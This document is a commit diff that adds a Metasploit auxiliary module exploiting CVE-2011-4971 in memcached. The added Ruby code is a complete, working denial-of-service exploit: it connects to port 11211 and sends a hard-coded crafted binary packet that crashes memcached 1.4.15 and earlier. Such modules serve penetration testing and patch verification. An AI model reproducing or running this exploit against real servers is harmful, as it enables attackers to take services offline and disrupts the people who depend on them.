Added Memcached Remote Denial of Service module

https://code.google.com/p/memcached/issues/detail?id=192

Author: gregory-m

modules/auxiliary/dos/misc/memcached.rb

@@ -0,0 +1,50 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::Tcp
+	include Msf::Auxiliary::Dos
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'          => 'Memcached Remote Denial of Service',
+			'Description'   => %q{
+				This module send specially-crafted packet causing a
+				segmentation fault in memcached  v1.4.15 or earlier versions.
+			},
+
+			'References' =>
+				[
+					[ 'URL', 'https://code.google.com/p/memcached/issues/detail?id=192' ],
+					[ 'CVE', '2011-4971' ],
+				],
+			'Author'       => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
+			'License'      => MSF_LICENSE
+		))
+
+		register_options([Opt::RPORT(11211),], self.class)
+	end
+
+	def run
+		connect
+		pkt =  "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
+		pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
+		pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+		pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
+		print_status("Sending dos packet...")
+
+		sock.put(pkt)
+
+		disconnect
+	end
+end